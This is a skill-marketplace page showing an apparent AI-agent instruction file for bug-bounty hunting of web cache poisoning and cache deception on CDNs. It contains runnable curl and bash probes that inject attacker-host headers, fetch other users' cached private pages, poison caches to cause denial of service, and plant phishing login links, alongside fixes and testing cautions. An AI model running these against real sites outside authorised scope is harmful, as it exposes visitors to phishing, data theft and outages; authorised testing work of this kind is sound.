Skip to content
cccskills
FreePublished on GitHub

cache-poisoning

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

The English summary is being prepared. Showing the original description.

Works withCloudflareAWS

Run score Not tested

See how to install

Files included (1)

  • SKILL.md10.2 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Cache Poisoning & Cache Deception

Affect one user → affect millions.

When to invoke

Trigger phrases:

  • "cache poisoning"
  • "web cache"
  • "CDN attack"
  • "cache deception"

Two distinct attacks

Cache Poisoning

Attacker sends a crafted request → response contains malicious content → cache stores it → all subsequent users get the malicious response.

Cache Deception

Attacker tricks the cache into storing another user's authenticated content at a public URL → attacker reads private data via cache.

Core concept: cache key

Cache key = how the cache identifies "same request"

If cache key = URL only:
  Request 1: GET /home with X-Forwarded-Host: attacker.com
  Cache stores response (which includes attacker.com in Location)
  Request 2: GET /home (no header) → served from cache → attacker.com link

Unkeyed inputs (parts of request NOT in cache key but affecting response) = poisoning opportunity.

Detection

Check if response is cached

curl -sI "https://target.com/" | grep -iE 'cache-control|age|x-cache|cf-cache-status|cf-ray|x-served-by|via|x-cache-hits'

# Indicators of caching:
# Cache-Control: public, max-age=86400
# Age: 1234              ← seconds since cached
# X-Cache: HIT           ← served from cache
# CF-Cache-Status: HIT   ← Cloudflare cache
# X-Served-By: cache-...

Find unkeyed inputs

Send a request with a marker header. Send a second clean request. Does the second response contain the marker?

# Step 1: poison probe
curl -s "https://target.com/" -H "X-Forwarded-Host: ccs-canary.attacker.com" -o /dev/null

# Step 2: fresh request from a different IP/user (or cache-buster)
curl -s "https://target.com/?cb=$(date +%s)" | grep "ccs-canary.attacker.com"

# Step 3: if marker appears in another request's response → cache key is incomplete

Common unkeyed inputs to test

InputEffect
X-Forwarded-HostAffects Location headers, absolute URLs
X-Forwarded-Protohttp vs https in generated URLs
X-Forwarded-SchemeSame
X-Original-URLReroutes
X-Rewrite-URLReroutes
X-HostLike XFH
Host (sometimes unkeyed!)Backend differs
ForwardedRFC 7239 version of XFF
X-Original-URLURL rewriting
OriginReflects to CORS headers
Cookie paramsSome caches don't include all cookies in key
URL query params (some)utm_*, _=, etc. often ignored
Trailing ? or ;Cache may strip → match with non-? variant

Step-by-Step Workflow

1. Inventory cacheable endpoints

# Look for caches in your asset-discovery output
cat httpx.jsonl | jq -r 'select(.headers.cache_control != null and (.headers.cache_control | tostring | test("public|max-age"))) | .url' > cacheable.txt

2. Test for unkeyed-header poisoning with Param Miner

Burp extension Param Miner has a "Guess headers" mode that fuzzes hundreds of unkeyed inputs.

Run on each cacheable endpoint → review the "issues" list.

Manual probe:

TARGET="https://target.com/"
HEADER_TESTS=(
    "X-Forwarded-Host"
    "X-Forwarded-For"
    "X-Forwarded-Proto"
    "X-Original-URL"
    "X-Rewrite-URL"
    "X-Host"
    "X-Forwarded-Scheme"
    "Origin"
    "Forwarded"
    "X-Forwarded-Server"
)

CANARY="ccs-canary-$(uuidgen | head -c 8).attacker.com"

for h in "${HEADER_TESTS[@]}"; do
    # Poison
    curl -s "$TARGET?cb=test1" -H "$h: $CANARY" -o /dev/null

    # Verify on second request (different cache buster)
    response=$(curl -s "$TARGET?cb=test2")
    if echo "$response" | grep -q "$CANARY"; then
        echo "[REFLECTED + may be cached] $h"
    fi
done

3. Try cache deception

Goal: get the cache to store a private response at a public URL.

Authentic URL:    /account/profile          (sensitive, not cached, requires auth)
Trick URL:        /account/profile.css      (cache: "looks like CSS — cache it!")

If the app routing resolves /account/profile.css → same handler as /account/profile,
and the cache decides based on extension → poisoning by deception.

Test:

# Login as victim
curl -s "https://target.com/account/profile.css" --cookie "session=victim" -o /dev/null

# As attacker (no cookies), fetch the same URL → may get victim's cached content
curl -s "https://target.com/account/profile.css" -o stolen.html

# If stolen.html contains victim's profile data → deception confirmed

Try variations:

/account/profile/                  ← trailing slash
/account/profile/foo.css           ← path traversal style
/account/profile;.css              ← matrix param
/account/profile..css
/account/profile.js
/account/profile.png
/account/profile?.css

4. Cache key normalization tricks

Some caches normalize URLs before key generation:

/foo  and  /foo/  → same key?
/foo  and  /FOO   → same key?
/foo?a=1&b=2  and  /foo?b=2&a=1  → same key?
/foo?a=1  and  /foo?a=1#fragment → same key?

If they differ but content is same → no bug, just inefficient.
If they're considered same but generate different content → poisoning surface.

5. Test for fat-GET / unkeyed body

# Some caches ignore body, even for GET
GET /resource HTTP/1.1
Host: target.com
Content-Length: 13

malicious-data

If the response varies based on body but cache key is just URL → unkeyed body poisoning.

6. CDN-specific quirks

Cloudflare:

  • Cache-Control: private is honored
  • Query string keying configurable per-zone
  • Worker scripts can be bypassed via specific endpoints

Akamai:

  • Pragma debug headers can leak cache state
  • ICP header can reveal cache hit/miss

Fastly:

  • Surrogate-Key header
  • ESI can be exploited if enabled

CloudFront:

  • Cache key behavior configurable per-distribution
  • Query string forwarding settings often misconfigured

7. Cache poisoning to DoS

Even without sensitive impact, you can DoS by poisoning:

# Poison with broken HTML
curl -H "X-Forwarded-Proto: ://" target.com/  # may break Location header
# Now all subsequent users see broken page until cache expires

# Or oversize header
curl -H "X-Forwarded-Host: $(python3 -c 'print("A"*8000)')" target.com/
# 400/500 response cached → DoS until eviction

Tools

# Param Miner (Burp BApp) — guesses unkeyed parameters/headers automatically
# Web Cache Vulnerability Scanner (Hackmanit)
pip install web-cache-vulnerability-scanner

# Mary (cache poisoning automation by NahamSec / others)

Output template

## High: Web cache poisoning via X-Forwarded-Host on /home

### Summary
The home page (`/home`) caches publicly with `Cache-Control: public, max-age=300`. The cache key does NOT include the `X-Forwarded-Host` header, but the application uses this header to generate canonical URLs (Open Graph `og:url`, login link `href`). By sending one crafted request, an attacker can poison the cache for 5 minutes, causing all users to see a phishing-domain login link.

### Steps to reproduce
1. Poison the cache (single request):
   ```http
   GET /home HTTP/1.1
   Host: target.com
   X-Forwarded-Host: phish.attacker.com
  1. Wait ~1 second for cache write.
  2. From a different IP/browser, request /home normally:
    GET /home HTTP/1.1
    Host: target.com
    
  3. Response body contains:
    <meta property="og:url" content="https://phish.attacker.com/home">
    <a href="https://phish.attacker.com/login" class="login-link">Log in</a>
    
  4. The poisoned response persists for ~300s.

Impact

  • All visitors during the 5-minute window see the phishing link as the official "Log in" button.
  • Attacker can re-poison every 5 minutes indefinitely.
  • High-trust phishing: link IS displayed on target.com, but goes to attacker's clone of the login.
  • Combined with credentials submission to a clone, mass account takeover.

Suggested fix

  • Add X-Forwarded-Host to the cache key (Vary: X-Forwarded-Host).
  • OR ignore X-Forwarded-Host in URL generation (use server-set Host or canonical config).
  • OR set Cache-Control: private for /home if personalization is required.

## Cross-references

- `[[xss]]` — cache poisoning + reflected XSS = mass XSS
- `[[ato-chains]]` — phishing link via cache → ATO at scale
- `[[http-smuggling]]` — request smuggling + cache poisoning = devastating chain
- `[[fingerprinting]]` — identify CDN before testing

## Common pitfalls

1. **Testing on YOUR cache only** (browser cache, local). Always use cache-busters and verify another client sees the poison.
2. **Reporting reflected unkeyed input without showing cache hit.** Triagers want to see the poisoning persist.
3. **Causing real DoS in production.** Throttle. Test on a low-traffic path.
4. **Not respecting cache TTL in reproduction steps.** Triager replays after TTL → no repro → N/A.
5. **Cache-busting via header but reporting "no cache-buster needed".** Document exactly how you reproduced.

## Severity guide

| Poisoning effect | Severity |
|---|---|
| Mass XSS via cached response | Critical |
| Phishing link injected globally | High |
| Broken site (DoS-by-poison) | Medium-High |
| Information disclosure (cached private data via deception) | High-Critical |
| Cache deception (login pages cached) | Critical |
| Cosmetic break only | Low (often informative) |

## Cache headers to set in your repro

```http
Cache-Control: no-cache, no-store
Pragma: no-cache

# Or use unique cache buster
?_=1234567

Quick canary script

#!/bin/bash
URL="$1"
CANARY="bb-$(uuidgen | head -c 12)"

# Standard unkeyed headers
HEADERS=(
    "X-Forwarded-Host"
    "X-Original-URL"
    "X-Forwarded-Scheme"
    "X-Forwarded-Proto"
    "X-Rewrite-URL"
    "X-Host"
    "Origin"
)

for H in "${HEADERS[@]}"; do
    # Poison
    curl -s "$URL?_=$CANARY-poison" -H "$H: $CANARY.attacker.test" -o /dev/null

    # Verify
    if curl -s "$URL?_=$CANARY-verify" | grep -q "$CANARY"; then
        echo "[POISONABLE] $H"
    fi
done

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

The English summary is being prepared. Showing the original description.

SubhiSec/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

The English summary is being prepared. Showing the original description.

SubhiSec/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

The English summary is being prepared. Showing the original description.

SubhiSec/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

The English summary is being prepared. Showing the original description.

SubhiSec/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

The English summary is being prepared. Showing the original description.

SubhiSec/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt cloud misconfigurations exposed externally — open S3/GCS buckets, exposed IAM-tied EC2 metadata, Cognito misconfig, GitHub Actions secret leakage, exposed Kubernetes API, public Elastic / Kibana / Mongo, Firebase RTDB rules, weak AWS access keys discovered in JS/mobile. Use when leveraging leaked credentials or hunting cloud surface in scope.

The English summary is being prepared. Showing the original description.

SubhiSec/claude-ai-cyber-security-skills44Updated Jun 3, 2026

See all skills by SubhiSec

Report a problem with this skill